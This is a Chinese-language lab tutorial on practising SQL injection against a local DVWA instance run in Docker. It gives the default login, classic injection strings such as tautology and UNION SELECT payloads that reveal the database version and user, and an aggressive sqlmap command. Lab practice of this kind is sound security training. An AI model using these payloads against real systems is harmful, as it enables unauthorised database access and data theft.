SQL 注入(SQL Injection)
✅ 第一步:设置 DVWA
1.拉取 DVWA 镜像并运行,打开浏览器访问:
拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
打开浏览器访问:
http://localhost:8080
2.默认登录账号:
- 用户名:admin
- 密码:password
3.设置数据库(第一次登录会提示):
点击左侧的 “DVWA Setup”(或顶部菜单),然后点击页面中的 “Create / Reset Database” 按钮。
4.成功后返回 DVWA 首页。
✅ 第二步:调整安全级别(方便测试)
点击左侧菜单的 DVWA Security,将安全级别调为:
Security Level: Low
然后点击 Submit。
✅ 第三步:开始 SQL 注入练习
1.点击左侧的 “SQL Injection” 功能。
2.页面显示如下内容:
User ID: [ 1 ] [Submit]
✅ 第四步:执行基础 SQL 注入
🎯 示例 1:查看第一个用户
输入框中输入:
1
你会看到返回如下内容:
🎯 示例 2:注入额外语句,爆破全部用户
输入:
1' OR '1'='1
返回页面应显示所有用户的 First name 和 Surname,说明你已经成功注入了 SQL 语句。
✅ 第五步:尝试更多 SQL 注入语句
注入语句 | 效果 |
---|---|
1’ OR 1=1 – - | 显示所有用户(逻辑恒真) |
1’ AND 1=2 – - | 无结果(逻辑恒假) |
1’ UNION SELECT null, version() – - | 尝试泄露数据库版本 |
1’ UNION SELECT user(), database() – - | 尝试获取当前用户、数据库 |
🔒 后续进阶建议
- 提高安全等级(Medium、High、Impossible),逐级挑战。
- 尝试使用工具(如 sqlmap)进行自动化注入:
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=xxxx" --level=5 --risk=3 --batch
- 尝试其他模块:XSS、File Inclusion、Command Injection 等。